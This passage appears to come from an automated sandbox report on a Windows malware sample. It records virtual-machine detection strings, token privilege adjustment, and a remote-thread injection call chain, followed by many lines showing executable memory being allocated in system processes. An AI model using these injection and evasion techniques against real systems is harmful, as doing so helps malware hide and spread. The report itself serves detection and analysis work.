                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware horizon client*|view5503
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
                Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMWare
                Source: explorer.exe, 00000010.00000003.2277407283.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
                Source: SearchApp.exe, 0000001C.00000000.1512906985.000001F49D9E6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: s://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w0@
                Source: SearchApp.exe, 0000001C.00000000.1451425126.000001EC94DA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware vsphere client*|vcenter5038
                Source: explorer.exe, 00000010.00000002.3744492980.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeAPI call chain: ExitProcess graph end nodegraph_2-1039
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_004804B1 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_004804B1
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_00BD3044 mov eax, dword ptr fs:[00000030h]0_2_00BD3044
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DCC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,CloseHandle,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree,0_2_029DCC92
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess token adjusted: DebugJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Allocates memory in foreign processes
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: AD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 3B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 980000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: AB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: B190000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: BD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CA0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: ED0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 950000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 100000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 120000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 290000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SysWOW64\cscript.exe base: 25D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SysWOW64\cscript.exe base: 25E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: AB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: 9F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1610000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1620000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1640000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 460000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 470000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 3010000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: CF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1190000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2310000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 520000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 830000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2440000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1580000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1360000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 13B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1570000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 940000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2930000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 780000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 790000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2700000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DA0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 12A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5C0000 protect: page execute and read and writeJump to behavior
